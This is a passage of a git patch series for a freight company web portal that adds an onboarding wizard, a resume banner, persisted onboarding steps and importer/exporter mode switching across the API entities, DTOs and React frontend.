+1,8 @@ -import { ExternalProfile } from '../entities/external-profile.entity'; +import { Company } from '../entities/company.entity'; +import { + ExternalProfile, +} from '../entities/external-profile.entity'; +import { ProfileType } from '../entities/company-profile.entity'; export class ResponseExternalProfileDto { id: string; @@ -11,10 +15,20 @@ export class ResponseExternalProfileDto { nationalId?: string | null; jobTitle?: string | null; isPrimaryContact: boolean; + /** The active operational mode (importer/exporter/forwarder). */ + activeProfileType?: ProfileType | null; + /** + * The id of the company_profile matching activeProfileType, resolved + * server-side so the client never re-derives it. Null until a company + * (with profiles) is loaded and a matching profile exists. + */ + activeCompanyProfileId?: string | null; + onboardingStep?: string | null; + onboardingCompleted: boolean; createdAt: Date; updatedAt: Date; - constructor(profile: ExternalProfile) { + constructor(profile: ExternalProfile, company?: Company) { this.id = profile.id; this.userId = profile.userId; this.companyId = profile.companyId; @@ -25,6 +39,13 @@ export class ResponseExternalProfileDto { this.nationalId = profile.nationalId; this.jobTitle = profile.jobTitle; this.isPrimaryContact = profile.isPrimaryContact; + this.activeProfileType = profile.activeProfileType ?? null; + this.onboardingStep = profile.onboardingStep ?? null; + this.onboardingCompleted = profile.onboardingCompleted ?? false; + this.activeCompanyProfileId = + company?.companyProfiles?.find( + (p) => p.type === profile.activeProfileType, + )?.id ?? null; this.createdAt = profile.createdAt; this.updatedAt = profile.updatedAt; } diff --git a/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts new file mode 100644 index 000000000..ac8f57a93 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts @@ -0,0 +1,7 @@ +import { IsEnum } from 'class-validator'; +import { ProfileType } from '../entities/company-profile.entity'; + +export class SetActiveModeDto { + @IsEnum(ProfileType) + type!: ProfileType; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts new file mode 100644 index 000000000..43967abc8 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts @@ -0,0 +1,7 @@ +import { IsString, MaxLength } from 'class-validator'; + +export class SetOnboardingStepDto { + @IsString() + @MaxLength(40) + step!: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts index 91a014f10..3b1554cc9 100644 --- a/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts +++ b/apps/edr-freight-api/src/modules/companies/entities/external-profile.entity.ts @@ -1,6 +1,7 @@ import { BaseEntity } from '@edr/api-common'; import { Column, Entity, Index, ManyToOne, JoinColumn } from 'typeorm'; import { Company } from './company.entity'; +import { ProfileType } from './company-profile.entity'; @Entity({ schema: 'freight', name: 'external_profiles' }) @Index(['userId']) @@ -36,4 +37,31 @@ export class ExternalProfile extends BaseEntity { @Column({ name: 'is_primary_contact', type: 'boolean', default: false }) isPrimaryContact!: boolean; + + /** + * The operational profile the user is currently "in" (importer vs exporter, + * or the single forwarder profile). Drives header switching and scopes the + * customer's bookings / dashboard to that company_profile. Nullable for + * users who haven't picked a role yet. + */ + @Column({ + name: 'active_profile_type', + type: 'varchar', + length: 32, + nullable: true, + enum: ProfileType, + }) + activeProfileType?: ProfileType | null; + + /** Coarse resume point for the onboarding wizard (e.g. 'role', 'company', 'documents', 'done'). */ + @Column({ + name: 'onboarding_step', + type: 'varchar', + length: 40, + nullable: true, + }) + onboardingStep?: string | null; + + @Column({ name: 'onboarding_completed', type: 'boolean', default: false }) + onboardingCompleted!: boolean; } diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index bbcdba42e..5394c1fb8 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -19,13 +19,13 @@ import { } from "react-router-dom"; import useAuth from "./hooks/useAuth"; +import OnboardingWizardDialog from "./components/onboarding/OnboardingWizardDialog"; import EDRFreightLandingPage from "./pages/EDRFreightLandingPage"; import MyPortalPage from "./pages/MyPortalPage"; import ProfilePage from "./pages/ProfilePage"; import MySignaturePage from "./pages/MySignaturePage"; import SettingsPage from "./pages/SettingsPage"; import LoginPage from "./pages/accounts/LoginPage"; -import OnboardingPage from "./pages/accounts/OnboardingPage"; import SetPasswordPage from "./pages/accounts/SetPasswordPage"; import SignupPage from "./pages/accounts/SignupPage"; import VerificationOtpPage from "./pages/accounts/VerificationOtpPage"; @@ -74,9 +74,8 @@ function RequireAuth() { } /** - * Sends authenticated users without a company to onboarding. - * Only redirects on a confirmed "no company" response — never on a - * transient query error. + * Waits for the company query so downstream routes can rely on it being + * resolved. Onboarding is enforced by OnboardingGate, not here. */ function RequireCompany() { const { customerQuery } = useAuth(); @@ -85,13 +84,29 @@ function RequireCompany() { return ; } -/** Keeps already-onboarded users out of the onboarding flow. */ -function RequireNoCompany() { - const { customerQuery } = useAuth(); +/** + * Enforces first-run onboarding. Until the user finishes, only the home + * (/portal) page is reachable; any attempt to navigate elsewhere bounces back + * to home with the blocking wizard dialog open. New users (no company yet) are + * treated the same as users who haven't completed onboarding. + */ +function OnboardingGate() { + const { company, onboardingCompleted } = useAuth(); + const location = useLocation(); - if (customerQuery.isPending) return ; - if (customerQuery.data) return ; - return ; + const needsOnboarding = !company || !onboardingCompleted; + const onHome = location.pathname === "/portal"; + + if (needsOnboarding && !onHome) { + return ; + } + + return ( + <> + + + + ); } /** Keeps authenticated users off the login/signup pages. */ @@ -146,7 +161,14 @@ const sidebarItems: SidebarItem[] = [ const App = () => { const navigate = useNavigate(); const location = useLocation(); - const { user, company } = useAuth(); + const { + user, + company, + activeProfileType, + companyType, + switchMode, + createProfileAndSwitch, + } = useAuth(); const displayName = user?.name?.en || user?.username || user?.email || "User"; const userEmail = user?.email; @@ -176,10 +198,6 @@ const App = () => { } /> }> - }> - } /> - - }> { userName={displayName} userEmail={userEmail} companyProfiles={companyProfiles} + companyType={companyType} + activeProfileType={activeProfileType} + onSwitchMode={switchMode} + onCreateProfile={createProfileAndSwitch} > - + } > diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx index e0de92ec5..f96eaf03d 100644 --- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx +++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx @@ -2,13 +2,16 @@ import { AppShell, Avatar, Box, + Button, Divider, Group, Menu, + Modal, NavLink, ScrollArea, Stack, Text, + TextInput, UnstyledButton, useComputedColorScheme, useMantineColorScheme, @@ -16,7 +19,9 @@ import { } from "@mantine/core"; import { useDisclosure } from "@mantine/hooks"; import { + ArrowLeftRight, Bell, + Check, ChevronDown, FileSignature, LogOut, @@ -29,7 +34,12 @@ import { User, X, } from "lucide-react"; -import { type CSSProperties, Fragment, type ReactNode } from "react"; +import { + type CSSProperties, + Fragment, + type ReactNode, + useState, +} from "react"; export interface SidebarItem { label: string; @@ -49,9 +59,23 @@ export interface AppLayoutProps { userEmail?: string; /** Operational profiles for the company — surfaced as reference chips in the account menu. */ companyProfiles?: { type: string; reference: string; status?: string }[]; + /** Company type (e.g. "customer", "forwarder") — gates the importer/exporter switch. */ + companyType?: string | null; + /** The active operational mode (importer/exporter/...). */ + activeProfileType?: string | null; + /** Switch to an existing profile of the given type. */ + onSwitchMode?: (type: ImporterExporter) => Promise | void; + /** Create the profile of the given type (with business license) then switch. */ + onCreateProfile?: ( + type: ImporterExporter, + businessLicense?: string, + ) => Promise | void; children: ReactNode; } +type ImporterExporter = "importer" | "exporter"; +type SwitchResult = { success: boolean; error?: string }; + const PROFILE_TYPE_LABELS: Record = { importer: "Importer", exporter: "Exporter", @@ -117,6 +141,10 @@ export function AppLayout({ userName = "User", userEmail, companyProfiles = [], + companyType, + activeProfileType, + onSwitchMode, + onCreateProfile, children, }: AppLayoutProps) { const [mobileOpen, { toggle: toggleMobile }] = useDisclosure(); @@ -142,6 +170,56 @@ export function AppLayout({ const initials = getInitials(userName); const activePage = getActivePage(sidebarItems, activePath); + // ── Importer/Exporter mode switching (customer companies only) ── + const isCustomer = companyType === "customer"; + const targetMode: ImporterExporter = + activeProfileType === "importer" ? "exporter" : "importer"; + const targetExists = companyProfiles.some((p) => p.type === targetMode); + const canSwitch = + isCustomer && + (activeProfileType === "importer" || activeProfileType === "exporter"); + + const [switching, setSwitching] = useState(false); + const [createOpen, setCreateOpen] = useState(false); + const [businessLicense, setBusinessLicense] = useState(""); + const [createError, setCreateError] = useState(null); + + const handleSwitchClick = async () => { + if (targetExists) { + setSwitching(true); + try { + await onSwitchMode?.(targetMode); + } finally { + setSwitching(false); + } + } else { + setBusinessLicense(""); + setCreateError(null); + setCreateOpen(true); + } + }; + + const handleCreateConfirm = async () => { + setSwitching(true); + setCreateError(null); + try { + const res = await onCreateProfile?.( + targetMode, + businessLicense.trim() || undefined, + ); + if (res && !res.success) { + setCreateError(res.error ?? "Failed to create profile"); + return; + } + setCreateOpen(false); + } finally { + setSwitching(false); + } + }; + + const modeLabel = (m: ImporterExporter) => + m === "importer" ? "Importer" : "Exporter"; + const isItemActive = (item: SidebarItem) => activePath === item.href.toLowerCase() || activePath.startsWith(item.href.toLowerCase() + "/"); @@ -212,8 +290,25 @@ export function AppLayout({ - {/* Right: search + bell + avatar */} + {/* Right: switch + search + bell + avatar */} + {/* Importer/Exporter mode switch (customer companies only) */} + {canSwitch && ( + + )} + {/* Search pill */} - {companyProfiles.map((p) => ( - - { + const isActive = p.type === activeProfileType; + return ( + - {PROFILE_TYPE_LABELS[p.type] ?? p.type} - - - {p.reference} - - - ))} + + {isActive && ( + + )} + + {PROFILE_TYPE_LABELS[p.type] ?? p.type} + + + + {p.reference} + + + ); + })} @@ -686,6 +795,48 @@ export function AppLayout({ > {children} + + {/* Create-profile modal — opens when switching to a mode the company + doesn't have a profile for yet. */} + (switching ? undefined : setCreateOpen(false))} + title={`Set up your ${modeLabel(targetMode)} profile`} + centered + radius="lg" + > + + + You don't have an {modeLabel(targetMode).toLowerCase()} profile yet. + Add your business license to create one and switch to{" "} + {modeLabel(targetMode).toLowerCase()} mode. A new reference will be + generated automatically. + + setBusinessLicense(e.currentTarget.value)} + error={createError ?? undefined} + /> + + + + + + ); } diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx new file mode 100644 index 000000000..8e9f59b16 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -0,0 +1,209 @@ +import { Button, Group, Modal, ScrollArea, Stack, Text } from "@mantine/core"; +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import { CheckCircle2 } from "lucide-react"; +import { useCallback, useState } from "react"; + +import useAuth from "@/hooks/useAuth"; +import { api } from "@/services/api"; +import type { + CompanyProfileInput, + CreateCompanyPayload, +} from "@/services/companies.service"; +import { companiesService } from "@/services/companies.service"; +import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; +import ForwarderForm from "@/pages/accounts/ForwarderForm"; +import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; +import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; + +interface OnboardingWizardDialogProps { + opened: boolean; +} + +/** Map the chosen operational roles to the company type they belong to. */ +function companyTypeForRoles(roles: string[]): string { + return roles.includes(FREIGHT_FORWARDER.type) ? "forwarder" : "customer"; +} + +/** Document upload setting code per company type. */ +function documentSettingCode(companyType: string): string { + return companyType === "forwarder" + ? "company_onboarding_documents_forwarder" + : "company_onboarding_documents_customer"; +} + +/** + * Blocking, non-dismissable first-run onboarding wizard. Step 1 picks the + * operational role(s); the remaining steps reuse the existing company/forwarder + * forms. On completion the company is created with its company_profiles and the + * active mode is set server-side, then onboarding is marked complete. + */ +export default function OnboardingWizardDialog({ + opened, +}: OnboardingWizardDialogProps) { + const queryClient = useQueryClient(); + const { user, company } = useAuth(); + + // A company already exists but onboarding wasn't marked complete (e.g. the + // browser closed after create but before finishing). Don't re-create it — + // just let the user finish. + const companyAlreadyCreated = Boolean(company?.company?.id); + + // "role" → pick roles; otherwise the company/forwarder form drives its own + // internal steps. + const [phase, setPhase] = useState<"role" | "form">("role"); + const [roles, setRoles] = useState([]); + const [documentFiles, setDocumentFiles] = useState< + Record + >({}); + + const createCompanyMutation = useMutation({ + mutationFn: (payload: CreateCompanyPayload) => + api.companies.create.call(payload), + onSuccess: async (data) => { + const hasFiles = Object.values(documentFiles).some( + (f) => f !== null && (Array.isArray(f) ? f.length > 0 : true), + ); + if (hasFiles) { + await companiesService.uploadDocuments(data.company.id, documentFiles); + } + // Mark onboarding complete, then refresh the company info so the gate + // releases and the header reflects the new profile(s). + await api.companies.completeOnboarding.call(); + await queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }); + }, + }); + + const finishMutation = useMutation({ + mutationFn: () => api.companies.completeOnboarding.call(), + onSuccess: async () => { + await queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }); + }, + }); + + const handleRolesContinue = useCallback(() => { + setPhase("form"); + // Best-effort: remember that the user moved past role selection. + api.companies.setOnboardingStep.call({ step: "company" }).catch(() => {}); + }, []); + + const handleBackToRoles = useCallback(() => setPhase("role"), []); + + const handleSubmit = useCallback( + (payload: CreateCompanyPayload) => { + const companyProfiles: CompanyProfileInput[] = roles.map((type) => ({ + type: type as CompanyProfileInput["type"], + })); + createCompanyMutation.mutate({ + ...payload, + companyType: companyTypeForRoles(roles), + companyProfiles, + }); + }, + [roles, createCompanyMutation], + ); + + if (!user) return null; + + const isForwarder = roles.includes(FREIGHT_FORWARDER.type); + // Importer+Exporter (or either alone) is a valid customer selection. + const rolesValid = roles.length > 0; + const companyType = companyTypeForRoles(roles); + + return ( + {}} + withCloseButton={false} + closeOnClickOutside={false} + closeOnEscape={false} + size="xl" + radius="lg" + padding="xl" + centered + scrollAreaComponent={ScrollArea.Autosize} + overlayProps={{ backgroundOpacity: 0.55, blur: 4 }} + title={ + + + Complete your onboarding + + + {companyAlreadyCreated + ? "You're almost there — finish to start using the portal." + : phase === "role" + ? "Tell us what your company does to get started." + : "Set up your company profile to finish."} + + + } + > + {companyAlreadyCreated ? ( + + + + Your company profile is set up. Click finish to complete onboarding + and unlock the rest of the portal. + + + + + + ) : phase === "role" ? ( + + + + + ) : isForwarder ? ( + + ) : ( + + )} + + ); +} + +function RoleContinueBar({ + disabled, + onClick, +}: { + disabled: boolean; + onClick: () => void; +}) { + return ( + + ); +} diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 08b26a255..195dcb692 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -84,6 +84,10 @@ export const URL_CONSTANTS = { CREATE: "/api/companies/create", PROFILE: "/api/companies/profile", COMPANY_PROFILES: "/api/companies/company-profiles", + COMPANY_PROFILE: "/api/companies/company-profile", + ACTIVE_MODE: "/api/companies/active-mode", + ONBOARDING_STEP: "/api/companies/onboarding-step", + ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", DOCUMENTS: (id: string) => `/api/companies/${id}/documents`, }, diff --git a/apps/edr-freight-web/portal/src/hooks/useAuth.ts b/apps/edr-freight-web/portal/src/hooks/useAuth.ts index 06900270e..3b3d84813 100644 --- a/apps/edr-freight-web/portal/src/hooks/useAuth.ts +++ b/apps/edr-freight-web/portal/src/hooks/useAuth.ts @@ -1,4 +1,5 @@ import { api } from "@/services/api"; +import type { ProfileTypeValue } from "@/services/companies.service"; import type { LoginPayload, LoginResponse, @@ -149,6 +150,54 @@ const useAuth = () => { } }; + // Active-mode (importer/exporter) state, sourced from the persisted profile. + const companyInfo = isAuthenticated ? (companyQuery.data ?? null) : null; + const activeProfileType = companyInfo?.profile?.activeProfileType ?? null; + const activeCompanyProfileId = + companyInfo?.profile?.activeCompanyProfileId ?? null; + const companyType = companyInfo?.company?.type ?? null; + const onboardingCompleted = + companyInfo?.profile?.onboardingCompleted ?? false; + const onboardingStep = companyInfo?.profile?.onboardingStep ?? null; + + /** Refetch everything scoped to the active operational profile. */ + const invalidateScopedData = async () => { + await Promise.all([ + queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }), + queryClient.invalidateQueries({ + queryKey: api.companies.getDashboard.queryKey(), + }), + queryClient.invalidateQueries({ queryKey: ["bookings"] }), + ]); + }; + + const switchMode = async ( + type: ProfileTypeValue, + ): Promise> => { + try { + await api.companies.setActiveMode.call({ type }); + await invalidateScopedData(); + return { success: true, data: undefined }; + } catch (err) { + return { success: false, error: extractApiError(err) }; + } + }; + + const createProfileAndSwitch = async ( + type: ProfileTypeValue, + businessLicense?: string, + ): Promise> => { + try { + await api.companies.createCompanyProfile.call({ type, businessLicense }); + await invalidateScopedData(); + return { success: true, data: undefined }; + } catch (err) { + return { success: false, error: extractApiError(err) }; + } + }; + const logout = async () => { try { await api.auth.logout.call(); @@ -174,6 +223,13 @@ const useAuth = () => { user: isAuthenticated ? (authQuery.data ?? null) : null, company: isAuthenticated ? (companyQuery.data ?? null) : null, customer: isAuthenticated ? (companyQuery.data ?? null) : null, + activeProfileType, + activeCompanyProfileId, + companyType, + onboardingCompleted, + onboardingStep, + switchMode, + createProfileAndSwitch, login, signup, setPassword, diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 194a1dd48..8615061d7 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -41,6 +41,7 @@ import type { CompanyProfileResponse, CreateCompanyPayload, DashboardSummary, + ProfileTypeValue, } from "./companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { @@ -135,6 +136,29 @@ export const api = { "addCompanyProfiles", companiesService.addCompanyProfiles, ), + + createCompanyProfile: endpoint< + { type: ProfileTypeValue; businessLicense?: string }, + CompanyProfileResponse + >("companies", "createCompanyProfile", companiesService.createCompanyProfile), + + setActiveMode: endpoint<{ type: ProfileTypeValue }, CompanyInfoResponse>( + "companies", + "setActiveMode", + companiesService.setActiveMode, + ), + + setOnboardingStep: endpoint<{ step: string }, void>( + "companies", + "setOnboardingStep", + companiesService.setOnboardingStep, + ), + + completeOnboarding: endpoint( + "companies", + "completeOnboarding", + companiesService.completeOnboarding, + ), }, bookings: { diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index 149705ec1..e71949045 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -5,6 +5,13 @@ import type { ApiResponse } from "@/types/apiResponse"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import { isAxiosError } from "axios"; +export type ProfileTypeValue = + | "importer" + | "exporter" + | "freight_forwarder" + | "dj_freight_forwarder" + | "transporter"; + export interface ExternalProfileResponse { id: string; userId: string; @@ -16,6 +23,12 @@ export interface ExternalProfileResponse { nationalId: string | null; jobTitle: string | null; isPrimaryContact: boolean; + /** The active operational mode (importer/exporter/forwarder). */ + activeProfileType: ProfileTypeValue | null; + /** Id of the company_profile matching activeProfileType (server-resolved). */ + activeCompanyProfileId: string | null; + onboardingStep: string | null; + onboardingCompleted: boolean; createdAt: string; updatedAt: string; } @@ -152,6 +165,40 @@ export const companiesService = { return unwrap(response.data); }, + /** Create a single operational profile and make it the active mode. */ + createCompanyProfile: async (payload: { + type: ProfileTypeValue; + businessLicense?: string; + }): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.COMPANY_PROFILE, + payload, + ); + return unwrap(response.data); + }, + + /** Switch the active operational mode (target profile must already exist). */ + setActiveMode: async (payload: { + type: ProfileTypeValue; + }): Promise => { + const response = await client.patch>( + URL_CONSTANTS.COMPANIES_API.ACTIVE_MODE, + payload, + ); + return unwrap(response.data); + }, + + setOnboardingStep: async (payload: { step: string }): Promise => { + await client.patch(URL_CONSTANTS.COMPANIES_API.ONBOARDING_STEP, payload); + }, + + completeOnboarding: async (): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.ONBOARDING_COMPLETE, + ); + return unwrap(response.data); + }, + uploadDocuments: async ( companyId: string, files: Record, From 19dea313b7214102941e6382ddd62c34024bd162 Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:24:59 +0000 Subject: [PATCH 02/19] feat: implement onboarding wizard enhancements and resume functionality --- apps/edr-freight-web/portal/src/App.tsx | 81 +++++++++++++++++-- .../portal/src/components/AppLayout.tsx | 6 +- .../onboarding/OnboardingWizardDialog.tsx | 53 +++++++++--- .../src/pages/accounts/CompanyProfileForm.tsx | 16 +++- .../src/pages/accounts/ForwarderForm.tsx | 16 +++- .../portal/src/services/api.ts | 2 - 6 files changed, 149 insertions(+), 25 deletions(-) diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index 5394c1fb8..e436eaff6 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -6,8 +6,10 @@ import { MapPin, Receipt, Settings, + Sparkles, User, } from "lucide-react"; +import { useDisclosure } from "@mantine/hooks"; import { useEffect, useRef } from "react"; import { Navigate, @@ -85,30 +87,95 @@ function RequireCompany() { } /** - * Enforces first-run onboarding. Until the user finishes, only the home - * (/portal) page is reachable; any attempt to navigate elsewhere bounces back - * to home with the blocking wizard dialog open. New users (no company yet) are - * treated the same as users who haven't completed onboarding. + * Routes an un-onboarded user may still visit. The wizard auto-opens but is + * dismissable, so they can browse these freely; any other route forces the + * wizard back open and bounces them home. + */ +const ONBOARDING_ALLOWED_PATHS = ["/portal", "/signature"]; + +function isOnboardingAllowedPath(pathname: string): boolean { + const path = pathname.toLowerCase(); + return ONBOARDING_ALLOWED_PATHS.some( + (p) => path === p || path.startsWith(p + "/"), + ); +} + +/** + * Enforces first-run onboarding. The home (dashboard) and signature pages stay + * reachable while onboarding is incomplete; the wizard auto-opens on login but + * can be dismissed to use those pages. Visiting any other page bounces back to + * home and re-opens the wizard. New users (no company yet) are treated the same + * as users who haven't completed onboarding. */ function OnboardingGate() { const { company, onboardingCompleted } = useAuth(); const location = useLocation(); const needsOnboarding = !company || !onboardingCompleted; - const onHome = location.pathname === "/portal"; + const allowedHere = isOnboardingAllowedPath(location.pathname); - if (needsOnboarding && !onHome) { + // Open by default while onboarding is pending (covers the login case). + const [wizardOpen, { open: openWizard, close: closeWizard }] = + useDisclosure(false); + + // Re-evaluate on every navigation: force the wizard open on blocked routes, + // and auto-open on first arrival while onboarding is pending. + useEffect(() => { + if (needsOnboarding && !allowedHere) { + openWizard(); + } + }, [needsOnboarding, allowedHere, location.pathname, openWizard]); + + // Auto-open once when onboarding becomes/loads as pending (login). + const autoOpenedRef = useRef(false); + useEffect(() => { + if (needsOnboarding && !autoOpenedRef.current) { + autoOpenedRef.current = true; + openWizard(); + } + if (!needsOnboarding) autoOpenedRef.current = false; + }, [needsOnboarding, openWizard]); + + if (needsOnboarding && !allowedHere) { return ; } return ( <> + {needsOnboarding && !wizardOpen && ( + + )} - + ); } +/** Slim sticky prompt shown on allowed pages after the wizard is dismissed. */ +function OnboardingResumeBanner({ onResume }: { onResume: () => void }) { + return ( +
+
+ + + Finish setting up your company to unlock bookings, tracking and + billing. + +
+ +
+ ); +} + /** Keeps authenticated users off the login/signup pages. */ function RedirectIfAuthed() { const { isPending, isAuthenticated } = useAuth(); diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx index f96eaf03d..db415705d 100644 --- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx +++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx @@ -74,7 +74,9 @@ export interface AppLayoutProps { } type ImporterExporter = "importer" | "exporter"; -type SwitchResult = { success: boolean; error?: string }; +type SwitchResult = + | { success: true; data?: unknown } + | { success: false; error?: { message?: string } }; const PROFILE_TYPE_LABELS: Record = { importer: "Importer", @@ -208,7 +210,7 @@ export function AppLayout({ businessLicense.trim() || undefined, ); if (res && !res.success) { - setCreateError(res.error ?? "Failed to create profile"); + setCreateError(res.error?.message ?? "Failed to create profile"); return; } setCreateOpen(false); diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 8e9f59b16..9b11267cc 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -15,8 +15,20 @@ import ForwarderForm from "@/pages/accounts/ForwarderForm"; import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; +/** Form steps shared by CompanyProfileForm and ForwarderForm. */ +type FormStep = "company" | "personnel" | "poa" | "documents" | "confirm"; +const FORM_STEPS: FormStep[] = [ + "company", + "personnel", + "poa", + "documents", + "confirm", +]; + interface OnboardingWizardDialogProps { opened: boolean; + /** Dismiss the dialog (user clicked the close icon). */ + onClose: () => void; } /** Map the chosen operational roles to the company type they belong to. */ @@ -39,15 +51,24 @@ function documentSettingCode(companyType: string): string { */ export default function OnboardingWizardDialog({ opened, + onClose, }: OnboardingWizardDialogProps) { const queryClient = useQueryClient(); - const { user, company } = useAuth(); + const { user, company, onboardingStep } = useAuth(); // A company already exists but onboarding wasn't marked complete (e.g. the // browser closed after create but before finishing). Don't re-create it — // just let the user finish. const companyAlreadyCreated = Boolean(company?.company?.id); + // Resume position from the backend-persisted step. A form step means the user + // had already passed role selection. Cross-session we still start at role + // selection (the roles + field values aren't persisted), but within a session + // the dialog stays mounted so dismiss/reopen continues exactly where it was. + const resumeFormStep: FormStep = FORM_STEPS.includes(onboardingStep as FormStep) + ? (onboardingStep as FormStep) + : "company"; + // "role" → pick roles; otherwise the company/forwarder form drives its own // internal steps. const [phase, setPhase] = useState<"role" | "form">("role"); @@ -84,13 +105,20 @@ export default function OnboardingWizardDialog({ }, }); - const handleRolesContinue = useCallback(() => { - setPhase("form"); - // Best-effort: remember that the user moved past role selection. - api.companies.setOnboardingStep.call({ step: "company" }).catch(() => {}); + // Persist the resume step to the backend (best-effort, fire-and-forget). + const persistStep = useCallback((step: string) => { + api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); - const handleBackToRoles = useCallback(() => setPhase("role"), []); + const handleRolesContinue = useCallback(() => { + setPhase("form"); + persistStep("company"); + }, [persistStep]); + + const handleBackToRoles = useCallback(() => { + setPhase("role"); + persistStep("role"); + }, [persistStep]); const handleSubmit = useCallback( (payload: CreateCompanyPayload) => { @@ -116,14 +144,15 @@ export default function OnboardingWizardDialog({ return ( {}} - withCloseButton={false} + onClose={onClose} + withCloseButton closeOnClickOutside={false} - closeOnEscape={false} - size="xl" + closeOnEscape + size={1040} radius="lg" padding="xl" centered + keepMounted scrollAreaComponent={ScrollArea.Autosize} overlayProps={{ backgroundOpacity: 0.55, blur: 4 }} title={ @@ -173,6 +202,8 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={createCompanyMutation.isPending} onBack={handleBackToRoles} + initialStep={resumeFormStep} + onStepChange={persistStep} /> ) : ( )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 3a26c92b2..913726008 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -22,7 +22,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useState } from "react"; +import { useEffect, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -126,6 +126,8 @@ export default function CompanyProfileForm({ onSubmit, isPending, onBack, + initialStep, + onStepChange, }: { documentSettingCode: string; documentFiles?: Record; @@ -134,8 +136,18 @@ export default function CompanyProfileForm({ onSubmit: (data: CreateCompanyPayload) => void; isPending: boolean; onBack: () => void; + /** Step to resume at (defaults to "company"). */ + initialStep?: CompanyStep; + /** Reports the active step so the parent can persist resume progress. */ + onStepChange?: (step: CompanyStep) => void; }) { - const [step, setStep] = useState("company"); + const [step, setStep] = useState(initialStep ?? "company"); + + // Report each step change up so the wizard can persist it for resume. + useEffect(() => { + onStepChange?.(step); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [step]); const [internalFiles, setInternalFiles] = useState< Record >({}); diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index 71db345ec..6f06d9c48 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -11,7 +11,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useState } from "react"; +import { useEffect, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -91,6 +91,8 @@ export default function ForwarderForm({ onSubmit, isPending, onBack, + initialStep, + onStepChange, }: { documentSettingCode: string; documentFiles?: Record; @@ -99,8 +101,18 @@ export default function ForwarderForm({ onSubmit: (data: 